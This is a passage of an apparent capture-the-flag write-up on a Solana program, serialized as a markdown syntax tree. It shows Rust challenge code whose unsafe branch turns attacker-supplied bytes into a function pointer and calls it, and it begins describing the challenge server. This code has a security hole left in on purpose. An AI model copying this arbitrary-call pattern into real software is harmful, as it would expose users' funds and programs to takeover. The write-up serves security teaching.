ptr",{"type":25,"tag":216,"props":44843,"children":44844},{"style":6947},[44845],{"type":31,"value":179},{"type":25,"tag":216,"props":44847,"children":44848},{"style":7041},[44849],{"type":31,"value":44850},"write_volatile",{"type":25,"tag":216,"props":44852,"children":44853},{"style":6958},[44854],{"type":31,"value":1844},{"type":25,"tag":216,"props":44856,"children":44857},{"style":6941},[44858],{"type":31,"value":16582},{"type":25,"tag":216,"props":44860,"children":44861},{"style":6958},[44862],{"type":31,"value":7791},{"type":25,"tag":216,"props":44864,"children":44865},{"class":6916,"line":7238},[44866],{"type":25,"tag":216,"props":44867,"children":44868},{"style":6958},[44869],{"type":31,"value":7305},{"type":25,"tag":216,"props":44871,"children":44872},{"class":6916,"line":7251},[44873],{"type":25,"tag":216,"props":44874,"children":44875},{"style":6958},[44876],{"type":31,"value":7868},{"type":25,"tag":6705,"props":44878,"children":44879},{"start":6763},[44880],{"type":25,"tag":2037,"props":44881,"children":44882},{},[44883,44884,44890],{"type":31,"value":11425},{"type":25,"tag":82,"props":44885,"children":44887},{"className":44886},[],[44888],{"type":31,"value":44889},"data[0] == 1",{"type":31,"value":44891},", a CPI to a non-existent program is executed:",{"type":25,"tag":206,"props":44893,"children":44895},{"className":6909,"code":44894,"language":6908,"meta":7,"style":7},"#[inline(never)]\npub fn call(data: &[u8]) {\n    let ix = Instruction {\n        program_id: pubkey!(\"osecio5555555555555551111111111111111111111\"),\n        data: data.try_into().unwrap(),\n        accounts: vec![]\n    };\n\n    invoke_signed_unchecked(\n        &ix,\n        &[],\n        &[],\n    ).unwrap();\n}\n",[44896],{"type":25,"tag":82,"props":44897,"children":44898},{"__ignoreMap":7},[44899,44906,44950,44975,45005,45045,45066,45073,45080,45092,45108,45120,45131,45150],{"type":25,"tag":216,"props":44900,"children":44901},{"class":6916,"line":6917},[44902],{"type":25,"tag":216,"props":44903,"children":44904},{"style":6958},[44905],{"type":31,"value":44537},{"type":25,"tag":216,"props":44907,"children":44908},{"class":6916,"line":6763},[44909,44913,44917,44922,44926,44930,44934,44938,44942,44946],{"type":25,"tag":216,"props":44910,"children":44911},{"style":6930},[44912],{"type":31,"value":17641},{"type":25,"tag":216,"props":44914,"children":44915},{"style":6930},[44916],{"type":31,"value":17646},{"type":25,"tag":216,"props":44918,"children":44919},{"style":7041},[44920],{"type":31,"value":44921}," call",{"type":25,"tag":216,"props":44923,"children":44924},{"style":6958},[44925],{"type":31,"value":1844},{"type":25,"tag":216,"props":44927,"children":44928},{"style":6941},[44929],{"type":31,"value":7663},{"type":25,"tag":216,"props":44931,"children":44932},{"style":6947},[44933],{"type":31,"value":1466},{"type":25,"tag":216,"props":44935,"children":44936},{"style":6947},[44937],{"type":31,"value":11087},{"type":25,"tag":216,"props":44939,"children":44940},{"style":6958},[44941],{"type":31,"value":7695},{"type":25,"tag":216,"props":44943,"children":44944},{"style":7369},[44945],{"type":31,"value":7372},{"type":25,"tag":216,"props":44947,"children":44948},{"style":6958},[44949],{"type":31,"value":44582},{"type":25,"tag":216,"props":44951,"children":44952},{"class":6916,"line":6772},[44953,44957,44962,44966,44971],{"type":25,"tag":216,"props":44954,"children":44955},{"style":6930},[44956],{"type":31,"value":6933},{"type":25,"tag":216,"props":44958,"children":44959},{"style":6941},[44960],{"type":31,"value":44961}," ix",{"type":25,"tag":216,"props":44963,"children":44964},{"style":6947},[44965],{"type":31,"value":6950},{"type":25,"tag":216,"props":44967,"children":44968},{"style":7369},[44969],{"type":31,"value":44970}," Instruction",{"type":25,"tag":216,"props":44972,"children":44973},{"style":6958},[44974],{"type":31,"value":7235},{"type":25,"tag":216,"props":44976,"children":44977},{"class":6916,"line":6999},[44978,44983,44987,44992,44996,45001],{"type":25,"tag":216,"props":44979,"children":44980},{"style":6941},[44981],{"type":31,"value":44982},"        program_id",{"type":25,"tag":216,"props":44984,"children":44985},{"style":6947},[44986],{"type":31,"value":1466},{"type":25,"tag":216,"props":44988,"children":44989},{"style":7041},[44990],{"type":31,"value":44991}," pubkey!",{"type":25,"tag":216,"props":44993,"children":44994},{"style":6958},[44995],{"type":31,"value":1844},{"type":25,"tag":216,"props":44997,"children":44998},{"style":8199},[44999],{"type":31,"value":45000},"\"osecio5555555555555551111111111111111111111\"",{"type":25,"tag":216,"props":45002,"children":45003},{"style":6958},[45004],{"type":31,"value":10682},{"type":25,"tag":216,"props":45006,"children":45007},{"class":6916,"line":7104},[45008,45013,45017,45021,45025,45029,45033,45037,45041],{"type":25,"tag":216,"props":45009,"children":45010},{"style":6941},[45011],{"type":31,"value":45012},"        data",{"type":25,"tag":216,"props":45014,"children":45015},{"style":6947},[45016],{"type":31,"value":1466},{"type":25,"tag":216,"props":45018,"children":45019},{"style":6941},[45020],{"type":31,"value":19056},{"type":25,"tag":216,"props":45022,"children":45023},{"style":6947},[45024],{"type":31,"value":179},{"type":25,"tag":216,"props":45026,"children":45027},{"style":7041},[45028],{"type":31,"value":30114},{"type":25,"tag":216,"props":45030,"children":45031},{"style":6958},[45032],{"type":31,"value":17830},{"type":25,"tag":216,"props":45034,"children":45035},{"style":6947},[45036],{"type":31,"value":179},{"type":25,"tag":216,"props":45038,"children":45039},{"style":7041},[45040],{"type":31,"value":7622},{"type":25,"tag":216,"props":45042,"children":45043},{"style":6958},[45044],{"type":31,"value":7442},{"type":25,"tag":216,"props":45046,"children":45047},{"class":6916,"line":7210},[45048,45053,45057,45061],{"type":25,"tag":216,"props":45049,"children":45050},{"style":6941},[45051],{"type":31,"value":45052},"        accounts",{"type":25,"tag":216,"props":45054,"children":45055},{"style":6947},[45056],{"type":31,"value":1466},{"type":25,"tag":216,"props":45058,"children":45059},{"style":7041},[45060],{"type":31,"value":7690},{"type":25,"tag":216,"props":45062,"children":45063},{"style":6958},[45064],{"type":31,"value":45065},"[]\n",{"type":25,"tag":216,"props":45067,"children":45068},{"class":6916,"line":7238},[45069],{"type":25,"tag":216,"props":45070,"children":45071},{"style":6958},[45072],{"type":31,"value":42954},{"type":25,"tag":216,"props":45074,"children":45075},{"class":6916,"line":7251},[45076],{"type":25,"tag":216,"props":45077,"children":45078},{"emptyLinePlaceholder":16},[45079],{"type":31,"value":7636},{"type":25,"tag":216,"props":45081,"children":45082},{"class":6916,"line":7269},[45083,45088],{"type":25,"tag":216,"props":45084,"children":45085},{"style":7041},[45086],{"type":31,"value":45087},"    invoke_signed_unchecked",{"type":25,"tag":216,"props":45089,"children":45090},{"style":6958},[45091],{"type":31,"value":7414},{"type":25,"tag":216,"props":45093,"children":45094},{"class":6916,"line":7290},[45095,45099,45104],{"type":25,"tag":216,"props":45096,"children":45097},{"style":6947},[45098],{"type":31,"value":7422},{"type":25,"tag":216,"props":45100,"children":45101},{"style":6941},[45102],{"type":31,"value":45103},"ix",{"type":25,"tag":216,"props":45105,"children":45106},{"style":6958},[45107],{"type":31,"value":7459},{"type":25,"tag":216,"props":45109,"children":45110},{"class":6916,"line":7299},[45111,45115],{"type":25,"tag":216,"props":45112,"children":45113},{"style":6947},[45114],{"type":31,"value":7422},{"type":25,"tag":216,"props":45116,"children":45117},{"style":6958},[45118],{"type":31,"value":45119},"[],\n",{"type":25,"tag":216,"props":45121,"children":45122},{"class":6916,"line":7551},[45123,45127],{"type":25,"tag":216,"props":45124,"children":45125},{"style":6947},[45126],{"type":31,"value":7422},{"type":25,"tag":216,"props":45128,"children":45129},{"style":6958},[45130],{"type":31,"value":45119},{"type":25,"tag":216,"props":45132,"children":45133},{"class":6916,"line":7568},[45134,45138,45142,45146],{"type":25,"tag":216,"props":45135,"children":45136},{"style":6958},[45137],{"type":31,"value":7613},{"type":25,"tag":216,"props":45139,"children":45140},{"style":6947},[45141],{"type":31,"value":179},{"type":25,"tag":216,"props":45143,"children":45144},{"style":7041},[45145],{"type":31,"value":7622},{"type":25,"tag":216,"props":45147,"children":45148},{"style":6958},[45149],{"type":31,"value":7627},{"type":25,"tag":216,"props":45151,"children":45152},{"class":6916,"line":7585},[45153],{"type":25,"tag":216,"props":45154,"children":45155},{"style":6958},[45156],{"type":31,"value":7868},{"type":25,"tag":6705,"props":45158,"children":45159},{"start":6772},[45160],{"type":25,"tag":2037,"props":45161,"children":45162},{},[45163,45165,45171],{"type":31,"value":45164},"Finally, if ",{"type":25,"tag":82,"props":45166,"children":45168},{"className":45167},[],[45169],{"type":31,"value":45170},"data[0]",{"type":31,"value":45172}," is neither 0 nor 1, a function that lets you jump to an arbitrary address, passing an arbitrary value as the first parameter is executed:",{"type":25,"tag":206,"props":45174,"children":45176},{"className":6909,"code":45175,"language":6908,"meta":7,"style":7},"#[inline(never)]\npub fn process(mut data: &[u8]) {\n    unsafe {\n        let ptr = std::mem::transmute::\u003C[u8; 8], fn(u64)>(data[..8].try_into().unwrap());\n        let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n        ptr(val);\n\n        data = &data[16..];\n\n        let ptr = std::mem::transmute::\u003C[u8; 8], fn(u64)>(data[..8].try_into().unwrap());\n        let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n        ptr(val);\n    }\n}\n",[45177],{"type":25,"tag":82,"props":45178,"children":45179},{"__ignoreMap":7},[45180,45187,45235,45246,45366,45481,45500,45507,45542,45549,45668,45783,45802,45809],{"type":25,"tag":216,"props":45181,"children":45182},{"class":6916,"line":6917},[45183],{"type":25,"tag":216,"props":45184,"children":45185},{"style":6958},[45186],{"type":31,"value":44537},{"type":25,"tag":216,"props":45188,"children":45189},{"class":6916,"line":6763},[45190,45194,45198,45203,45207,45211,45215,45219,45223,45227,45231],{"type":25,"tag":216,"props":45191,"children":45192},{"style":6930},[45193],{"type":31,"value":17641},{"type":25,"tag":216,"props":45195,"children":45196},{"style":6930},[45197],{"type":31,"value":17646},{"type":25,"tag":216,"props":45199,"children":45200},{"style":7041},[45201],{"type":31,"value":45202}," process",{"type":25,"tag":216,"props":45204,"children":45205},{"style":6958},[45206],{"type":31,"value":1844},{"type":25,"tag":216,"props":45208,"children":45209},{"style":6930},[45210],{"type":31,"value":7685},{"type":25,"tag":216,"props":45212,"children":45213},{"style":6941},[45214],{"type":31,"value":19056},{"type":25,"tag":216,"props":45216,"children":45217},{"style":6947},[45218],{"type":31,"value":1466},{"type":25,"tag":216,"props":45220,"children":45221},{"style":6947},[45222],{"type":31,"value":11087},{"type":25,"tag":216,"props":45224,"children":45225},{"style":6958},[45226],{"type":31,"value":7695},{"type":25,"tag":216,"props":45228,"children":45229},{"style":7369},[45230],{"type":31,"value":7372},{"type":25,"tag":216,"props":45232,"children":45233},{"style":6958},[45234],{"type":31,"value":44582},{"type":25,"tag":216,"props":45236,"children":45237},{"class":6916,"line":6772},[45238,45242],{"type":25,"tag":216,"props":45239,"children":45240},{"style":6930},[45241],{"type":31,"value":17784},{"type":25,"tag":216,"props":45243,"children":45244},{"style":6958},[45245],{"type":31,"value":7235},{"type":25,"tag":216,"props":45247,"children":45248},{"class":6916,"line":6999},[45249,45253,45257,45261,45265,45269,45273,45277,45281,45285,45289,45293,45297,45301,45305,45309,45313,45317,45322,45326,45330,45334,45338,45342,45346,45350,45354,45358,45362],{"type":25,"tag":216,"props":45250,"children":45251},{"style":6930},[45252],{"type":31,"value":7005},{"type":25,"tag":216,"props":45254,"children":45255},{"style":6941},[45256],{"type":31,"value":17808},{"type":25,"tag":216,"props":45258,"children":45259},{"style":6947},[45260],{"type":31,"value":6950},{"type":25,"tag":216,"props":45262,"children":45263},{"style":6958},[45264],{"type":31,"value":44613},{"type":25,"tag":216,"props":45266,"children":45267},{"style":6947},[45268],{"type":31,"value":7432},{"type":25,"tag":216,"props":45270,"children":45271},{"style":6958},[45272],{"type":31,"value":44622},{"type":25,"tag":216,"props":45274,"children":45275},{"style":6947},[45276],{"type":31,"value":7432},{"type":25,"tag":216,"props":45278,"children":45279},{"style":7041},[45280],{"type":31,"value":44631},{"type":25,"tag":216,"props":45282,"children":45283},{"style":6947},[45284],{"type":31,"value":7432},{"type":25,"tag":216,"props":45286,"children":45287},{"style":6958},[45288],{"type":31,"value":44640},{"type":25,"tag":216,"props":45290,"children":45291},{"style":7369},[45292],{"type":31,"value":7372},{"type":25,"tag":216,"props":45294,"children":45295},{"style":6958},[45296],{"type":31,"value":21178},{"type":25,"tag":216,"props":45298,"children":45299},{"style":6983},[45300],{"type":31,"value":8025},{"type":25,"tag":216,"props":45302,"children":45303},{"style":6958},[45304],{"type":31,"value":27000},{"type":25,"tag":216,"props":45306,"children":45307},{"style":6930},[45308],{"type":31,"value":24220},{"type":25,"tag":216,"props":45310,"children":45311},{"style":6958},[45312],{"type":31,"value":1844},{"type":25,"tag":216,"props":45314,"children":45315},{"style":7369},[45316],{"type":31,"value":11988},{"type":25,"tag":216,"props":45318,"children":45319},{"style":6958},[45320],{"type":31,"value":45321},")>(",{"type":25,"tag":216,"props":45323,"children":45324},{"style":6941},[45325],{"type":31,"value":7663},{"type":25,"tag":216,"props":45327,"children":45328},{"style":6958},[45329],{"type":31,"value":7695},{"type":25,"tag":216,"props":45331,"children":45332},{"style":6947},[45333],{"type":31,"value":6991},{"type":25,"tag":216,"props":45335,"children":45336},{"style":6983},[45337],{"type":31,"value":8025},{"type":25,"tag":216,"props":45339,"children":45340},{"style":6958},[45341],{"type":31,"value":19362},{"type":25,"tag":216,"props":45343,"children":45344},{"style":6947},[45345],{"type":31,"value":179},{"type":25,"tag":216,"props":45347,"children":45348},{"style":7041},[45349],{"type":31,"value":30114},{"type":25,"tag":216,"props":45351,"children":45352},{"style":6958},[45353],{"type":31,"value":17830},{"type":25,"tag":216,"props":45355,"children":45356},{"style":6947},[45357],{"type":31,"value":179},{"type":25,"tag":216,"props":45359,"children":45360},{"style":7041},[45361],{"type":31,"value":7622},{"type":25,"tag":216,"props":45363,"children":45364},{"style":6958},[45365],{"type":31,"value":19376},{"type":25,"tag":216,"props":45367,"children":45368},{"class":6916,"line":7104},[45369,45373,45377,45381,45385,45389,45393,45397,45401,45405,45409,45413,45417,45421,45425,45429,45433,45437,45441,45445,45449,45453,45457,45461,45465,45469,45473,45477],{"type":25,"tag":216,"props":45370,"children":45371},{"style":6930},[45372],{"type":31,"value":7005},{"type":25,"tag":216,"props":45374,"children":45375},{"style":6941},[45376],{"type":31,"value":44728},{"type":25,"tag":216,"props":45378,"children":45379},{"style":6947},[45380],{"type":31,"value":6950},{"type":25,"tag":216,"props":45382,"children":45383},{"style":6958},[45384],{"type":31,"value":44613},{"type":25,"tag":216,"props":45386,"children":45387},{"style":6947},[45388],{"type":31,"value":7432},{"type":25,"tag":216,"props":45390,"children":45391},{"style":6958},[45392],{"type":31,"value":44622},{"type":25,"tag":216,"props":45394,"children":45395},{"style":6947},[45396],{"type":31,"value":7432},{"type":25,"tag":216,"props":45398,"children":45399},{"style":7041},[45400],{"type":31,"value":44631},{"type":25,"tag":216,"props":45402,"children":45403},{"style":6947},[45404],{"type":31,"value":7432},{"type":25,"tag":216,"props":45406,"children":45407},{"style":6958},[45408],{"type":31,"value":44640},{"type":25,"tag":216,"props":45410,"children":45411},{"style":7369},[45412],{"type":31,"value":7372},{"type":25,"tag":216,"props":45414,"children":45415},{"style":6958},[45416],{"type":31,"value":21178},{"type":25,"tag":216,"props":45418,"children":45419},{"style":6983},[45420],{"type":31,"value":8025},{"type":25,"tag":216,"props":45422,"children":45423},{"style":6958},[45424],{"type":31,"value":27000},{"type":25,"tag":216,"props":45426,"children":45427},{"style":7369},[45428],{"type":31,"value":11988},{"type":25,"tag":216,"props":45430,"children":45431},{"style":6958},[45432],{"type":31,"value":11556},{"type":25,"tag":216,"props":45434,"children":45435},{"style":6941},[45436],{"type":31,"value":7663},{"type":25,"tag":216,"props":45438,"children":45439},{"style":6958},[45440],{"type":31,"value":7695},{"type":25,"tag":216,"props":45442,"children":45443},{"style":6983},[45444],{"type":31,"value":8025},{"type":25,"tag":216,"props":45446,"children":45447},{"style":6947},[45448],{"type":31,"value":6991},{"type":25,"tag":216,"props":45450,"children":45451},{"style":6983},[45452],{"type":31,"value":44805},{"type":25,"tag":216,"props":45454,"children":45455},{"style":6958},[45456],{"type":31,"value":19362},{"type":25,"tag":216,"props":45458,"children":45459},{"style":6947},[45460],{"type":31,"value":179},{"type":25,"tag":216,"props":45462,"children":45463},{"style":7041},[45464],{"type":31,"value":30114},{"type":25,"tag":216,"props":45466,"children":45467},{"style":6958},[45468],{"type":31,"value":17830},{"type":25,"tag":216,"props":45470,"children":45471},{"style":6947},[45472],{"type":31,"value":179},{"type":25,"tag":216,"props":45474,"children":45475},{"style":7041},[45476],{"type":31,"value":7622},{"type":25,"tag":216,"props":45478,"children":45479},{"style":6958},[45480],{"type":31,"value":19376},{"type":25,"tag":216,"props":45482,"children":45483},{"class":6916,"line":7210},[45484,45488,45492,45496],{"type":25,"tag":216,"props":45485,"children":45486},{"style":7041},[45487],{"type":31,"value":44841},{"type":25,"tag":216,"props":45489,"children":45490},{"style":6958},[45491],{"type":31,"value":1844},{"type":25,"tag":216,"props":45493,"children":45494},{"style":6941},[45495],{"type":31,"value":16582},{"type":25,"tag":216,"props":45497,"children":45498},{"style":6958},[45499],{"type":31,"value":7791},{"type":25,"tag":216,"props":45501,"children":45502},{"class":6916,"line":7238},[45503],{"type":25,"tag":216,"props":45504,"children":45505},{"emptyLinePlaceholder":16},[45506],{"type":31,"value":7636},{"type":25,"tag":216,"props":45508,"children":45509},{"class":6916,"line":7251},[45510,45514,45518,45522,45526,45530,45534,45538],{"type":25,"tag":216,"props":45511,"children":45512},{"style":6941},[45513],{"type":31,"value":45012},{"type":25,"tag":216,"props":45515,"children":45516},{"style":6947},[45517],{"type":31,"value":6950},{"type":25,"tag":216,"props":45519,"children":45520},{"style":6947},[45521],{"type":31,"value":11087},{"type":25,"tag":216,"props":45523,"children":45524},{"style":6941},[45525],{"type":31,"value":7663},{"type":25,"tag":216,"props":45527,"children":45528},{"style":6958},[45529],{"type":31,"value":7695},{"type":25,"tag":216,"props":45531,"children":45532},{"style":6983},[45533],{"type":31,"value":44805},{"type":25,"tag":216,"props":45535,"children":45536},{"style":6947},[45537],{"type":31,"value":6991},{"type":25,"tag":216,"props":45539,"children":45540},{"style":6958},[45541],{"type":31,"value":35530},{"type":25,"tag":216,"props":45543,"children":45544},{"class":6916,"line":7269},[45545],{"type":25,"tag":216,"props":45546,"children":45547},{"emptyLinePlaceholder":16},[45548],{"type":31,"value":7636},{"type":25,"tag":216,"props":45550,"children":45551},{"class":6916,"line":7290},[45552,45556,45560,45564,45568,45572,45576,45580,45584,45588,45592,45596,45600,45604,45608,45612,45616,45620,45624,45628,45632,45636,45640,45644,45648,45652,45656,45660,45664],{"type":25,"tag":216,"props":45553,"children":45554},{"style":6930},[45555],{"type":31,"value":7005},{"type":25,"tag":216,"props":45557,"children":45558},{"style":6941},[45559],{"type":31,"value":17808},{"type":25,"tag":216,"props":45561,"children":45562},{"style":6947},[45563],{"type":31,"value":6950},{"type":25,"tag":216,"props":45565,"children":45566},{"style":6958},[45567],{"type":31,"value":44613},{"type":25,"tag":216,"props":45569,"children":45570},{"style":6947},[45571],{"type":31,"value":7432},{"type":25,"tag":216,"props":45573,"children":45574},{"style":6958},[45575],{"type":31,"value":44622},{"type":25,"tag":216,"props":45577,"children":45578},{"style":6947},[45579],{"type":31,"value":7432},{"type":25,"tag":216,"props":45581,"children":45582},{"style":7041},[45583],{"type":31,"value":44631},{"type":25,"tag":216,"props":45585,"children":45586},{"style":6947},[45587],{"type":31,"value":7432},{"type":25,"tag":216,"props":45589,"children":45590},{"style":6958},[45591],{"type":31,"value":44640},{"type":25,"tag":216,"props":45593,"children":45594},{"style":7369},[45595],{"type":31,"value":7372},{"type":25,"tag":216,"props":45597,"children":45598},{"style":6958},[45599],{"type":31,"value":21178},{"type":25,"tag":216,"props":45601,"children":45602},{"style":6983},[45603],{"type":31,"value":8025},{"type":25,"tag":216,"props":45605,"children":45606},{"style":6958},[45607],{"type":31,"value":27000},{"type":25,"tag":216,"props":45609,"children":45610},{"style":6930},[45611],{"type":31,"value":24220},{"type":25,"tag":216,"props":45613,"children":45614},{"style":6958},[45615],{"type":31,"value":1844},{"type":25,"tag":216,"props":45617,"children":45618},{"style":7369},[45619],{"type":31,"value":11988},{"type":25,"tag":216,"props":45621,"children":45622},{"style":6958},[45623],{"type":31,"value":45321},{"type":25,"tag":216,"props":45625,"children":45626},{"style":6941},[45627],{"type":31,"value":7663},{"type":25,"tag":216,"props":45629,"children":45630},{"style":6958},[45631],{"type":31,"value":7695},{"type":25,"tag":216,"props":45633,"children":45634},{"style":6947},[45635],{"type":31,"value":6991},{"type":25,"tag":216,"props":45637,"children":45638},{"style":6983},[45639],{"type":31,"value":8025},{"type":25,"tag":216,"props":45641,"children":45642},{"style":6958},[45643],{"type":31,"value":19362},{"type":25,"tag":216,"props":45645,"children":45646},{"style":6947},[45647],{"type":31,"value":179},{"type":25,"tag":216,"props":45649,"children":45650},{"style":7041},[45651],{"type":31,"value":30114},{"type":25,"tag":216,"props":45653,"children":45654},{"style":6958},[45655],{"type":31,"value":17830},{"type":25,"tag":216,"props":45657,"children":45658},{"style":6947},[45659],{"type":31,"value":179},{"type":25,"tag":216,"props":45661,"children":45662},{"style":7041},[45663],{"type":31,"value":7622},{"type":25,"tag":216,"props":45665,"children":45666},{"style":6958},[45667],{"type":31,"value":19376},{"type":25,"tag":216,"props":45669,"children":45670},{"class":6916,"line":7299},[45671,45675,45679,45683,45687,45691,45695,45699,45703,45707,45711,45715,45719,45723,45727,45731,45735,45739,45743,45747,45751,45755,45759,45763,45767,45771,45775,45779],{"type":25,"tag":216,"props":45672,"children":45673},{"style":6930},[45674],{"type":31,"value":7005},{"type":25,"tag":216,"props":45676,"children":45677},{"style":6941},[45678],{"type":31,"value":44728},{"type":25,"tag":216,"props":45680,"children":45681},{"style":6947},[45682],{"type":31,"value":6950},{"type":25,"tag":216,"props":45684,"children":45685},{"style":6958},[45686],{"type":31,"value":44613},{"type":25,"tag":216,"props":45688,"children":45689},{"style":6947},[45690],{"type":31,"value":7432},{"type":25,"tag":216,"props":45692,"children":45693},{"style":6958},[45694],{"type":31,"value":44622},{"type":25,"tag":216,"props":45696,"children":45697},{"style":6947},[45698],{"type":31,"value":7432},{"type":25,"tag":216,"props":45700,"children":45701},{"style":7041},[45702],{"type":31,"value":44631},{"type":25,"tag":216,"props":45704,"children":45705},{"style":6947},[45706],{"type":31,"value":7432},{"type":25,"tag":216,"props":45708,"children":45709},{"style":6958},[45710],{"type":31,"value":44640},{"type":25,"tag":216,"props":45712,"children":45713},{"style":7369},[45714],{"type":31,"value":7372},{"type":25,"tag":216,"props":45716,"children":45717},{"style":6958},[45718],{"type":31,"value":21178},{"type":25,"tag":216,"props":45720,"children":45721},{"style":6983},[45722],{"type":31,"value":8025},{"type":25,"tag":216,"props":45724,"children":45725},{"style":6958},[45726],{"type":31,"value":27000},{"type":25,"tag":216,"props":45728,"children":45729},{"style":7369},[45730],{"type":31,"value":11988},{"type":25,"tag":216,"props":45732,"children":45733},{"style":6958},[45734],{"type":31,"value":11556},{"type":25,"tag":216,"props":45736,"children":45737},{"style":6941},[45738],{"type":31,"value":7663},{"type":25,"tag":216,"props":45740,"children":45741},{"style":6958},[45742],{"type":31,"value":7695},{"type":25,"tag":216,"props":45744,"children":45745},{"style":6983},[45746],{"type":31,"value":8025},{"type":25,"tag":216,"props":45748,"children":45749},{"style":6947},[45750],{"type":31,"value":6991},{"type":25,"tag":216,"props":45752,"children":45753},{"style":6983},[45754],{"type":31,"value":44805},{"type":25,"tag":216,"props":45756,"children":45757},{"style":6958},[45758],{"type":31,"value":19362},{"type":25,"tag":216,"props":45760,"children":45761},{"style":6947},[45762],{"type":31,"value":179},{"type":25,"tag":216,"props":45764,"children":45765},{"style":7041},[45766],{"type":31,"value":30114},{"type":25,"tag":216,"props":45768,"children":45769},{"style":6958},[45770],{"type":31,"value":17830},{"type":25,"tag":216,"props":45772,"children":45773},{"style":6947},[45774],{"type":31,"value":179},{"type":25,"tag":216,"props":45776,"children":45777},{"style":7041},[45778],{"type":31,"value":7622},{"type":25,"tag":216,"props":45780,"children":45781},{"style":6958},[45782],{"type":31,"value":19376},{"type":25,"tag":216,"props":45784,"children":45785},{"class":6916,"line":7551},[45786,45790,45794,45798],{"type":25,"tag":216,"props":45787,"children":45788},{"style":7041},[45789],{"type":31,"value":44841},{"type":25,"tag":216,"props":45791,"children":45792},{"style":6958},[45793],{"type":31,"value":1844},{"type":25,"tag":216,"props":45795,"children":45796},{"style":6941},[45797],{"type":31,"value":16582},{"type":25,"tag":216,"props":45799,"children":45800},{"style":6958},[45801],{"type":31,"value":7791},{"type":25,"tag":216,"props":45803,"children":45804},{"class":6916,"line":7568},[45805],{"type":25,"tag":216,"props":45806,"children":45807},{"style":6958},[45808],{"type":31,"value":7305},{"type":25,"tag":216,"props":45810,"children":45811},{"class":6916,"line":7585},[45812],{"type":25,"tag":216,"props":45813,"children":45814},{"style":6958},[45815],{"type":31,"value":7868},{"type":25,"tag":607,"props":45817,"children":45819},{"id":45818},"test-environment",[45820],{"type":31,"value":45821},"Test Environment",{"type":25,"tag":38,"props":45823,"children":45824},{},[45825],{"type":31,"value":45826},"To understand our capabilites regarding interaction with the program and determine what is necessary to get the flag, we must analyze the test environment.",{"type":25,"tag":38,"props":45828,"children":45829},{},[45830,45832,45838],{"type":31,"value":45831},"When you connect to the server through a tcp connection, ",{"type":25,"tag":82,"props":45833,"children":45835},{"className":45834},[],[45836],{"type":31,"value":45837},"framework/src/main.rs::handle_connection",{"type":31,"value":45839}," gets executed, which does the following:",{"type":25,"tag":6705,"props":45841,"children":45842},{},[45843],{"type":25,"tag":2037,"props":45844,"children":45845},{},[45846],{"type":31,"value":45847},"Creates a new Solana local node",{"type":25,"tag":206,"props":45849,"children":45851},{"className":6909,"code":45850,"language":6908,"meta":7,"style":7},"let mut builder = ChallengeBuilder::try_from(socket.try_clone().unwrap()).unwrap();\nassert!(builder.add_program(\"/path/to/chall.so\", Some(chall::ID)) == chall::ID);\nlet mut chall = builder.build().await;\n",[45852],{"type":25,"tag":82,"props":45853,"children":45854},{"__ignoreMap":7},[45855,45936,46012],{"type":25,"tag":216,"props":45856,"children":45857},{"class":6916,"line":6917},[45858,45862,45866,45871,45875,45880,45884,45889,45893,45898,45902,45907,45911,45915,45919,45924,45928,45932],{"type":25,"tag":216,"props":45859,"children":45860},{"style":6930},[45861],{"type":31,"value":15737},{"type":25,"tag":216,"props":45863,"children":45864},{"style":6930},[45865],{"type":31,"value":6938},{"type":25,"tag":216,"props":45867,"children":45868},{"style":6941},[45869],{"type":31,"value":45870}," builder",{"type":25,"tag":216,"props":45872,"children":45873},{"style":6947},[45874],{"type":31,"value":6950},{"type":25,"tag":216,"props":45876,"children":45877},{"style":7369},[45878],{"type":31,"value":45879}," ChallengeBuilder",{"type":25,"tag":216,"props":45881,"children":45882},{"style":6947},[45883],{"type":31,"value":7432},{"type":25,"tag":216,"props":45885,"children":45886},{"style":7041},[45887],{"type":31,"value":45888},"try_from",{"type":25,"tag":216,"props":45890,"children":45891},{"style":6958},[45892],{"type":31,"value":1844},{"type":25,"tag":216,"props":45894,"children":45895},{"style":6941},[45896],{"type":31,"value":45897},"socket",{"type":25,"tag":216,"props":45899,"children":45900},{"style":6947},[45901],{"type":31,"value":179},{"type":25,"tag":216,"props":45903,"children":45904},{"style":7041},[45905],{"type":31,"value":45906},"try_clone",{"type":25,"tag":216,"props":45908,"children":45909},{"style":6958},[45910],{"type":31,"value":17830},{"type":25,"tag":216,"props":45912,"children":45913},{"style":6947},[45914],{"type":31,"value":179},{"type":25,"tag":216,"props":45916,"children":45917},{"style":7041},[45918],{"type":31,"value":7622},{"type":25,"tag":216,"props":45920,"children":45921},{"style":6958},[45922],{"type":31,"value":45923},"())",{"type":25,"tag":216,"props":45925,"children":45926},{"style":6947},[45927],{"type":31,"value":179},{"type":25,"tag":216,"props":45929,"children":45930},{"style":7041},[45931],{"type":31,"value":7622},{"type":25,"tag":216,"props":45933,"children":45934},{"style":6958},[45935],{"type":31,"value":7627},{"type":25,"tag":216,"props":45937,"children":45938},{"class":6916,"line":6763},[45939,45944,45948,45953,45957,45962,45966,45971,45975,45980,45985,45989,45994,45998,46003,46007],{"type":25,"tag":216,"props":45940,"children":45941},{"style":7041},[45942],{"type":31,"value":45943},"assert!",{"type":25,"tag":216,"props":45945,"children":45946},{"style":6958},[45947],{"type":31,"value":1844},{"type":25,"tag":216,"props":45949,"children":45950},{"style":6941},[45951],{"type":31,"value":45952},"builder",{"type":25,"tag":216,"props":45954,"children":45955},{"style":6947},[45956],{"type":31,"value":179},{"type":25,"tag":216,"props":45958,"children":45959},{"style":7041},[45960],{"type":31,"value":45961},"add_program",{"type":25,"tag":216,"props":45963,"children":45964},{"style":6958},[45965],{"type":31,"value":1844},{"type":25,"tag":216,"props":45967,"children":45968},{"style":8199},[45969],{"type":31,"value":45970},"\"/path/to/chall.so\"",{"type":25,"tag":216,"props":45972,"children":45973},{"style":6958},[45974],{"type":31,"value":7020},{"type":25,"tag":216,"props":45976,"children":45977},{"style":7369},[45978],{"type":31,"value":45979},"Some",{"type":25,"tag":216,"props":45981,"children":45982},{"style":6958},[45983],{"type":31,"value":45984},"(chall",{"type":25,"tag":216,"props":45986,"children":45987},{"style":6947},[45988],{"type":31,"value":7432},{"type":25,"tag":216,"props":45990,"children":45991},{"style":6958},[45992],{"type":31,"value":45993},"ID)) ",{"type":25,"tag":216,"props":45995,"children":45996},{"style":6947},[45997],{"type":31,"value":12522},{"type":25,"tag":216,"props":45999,"children":46000},{"style":6958},[46001],{"type":31,"value":46002}," 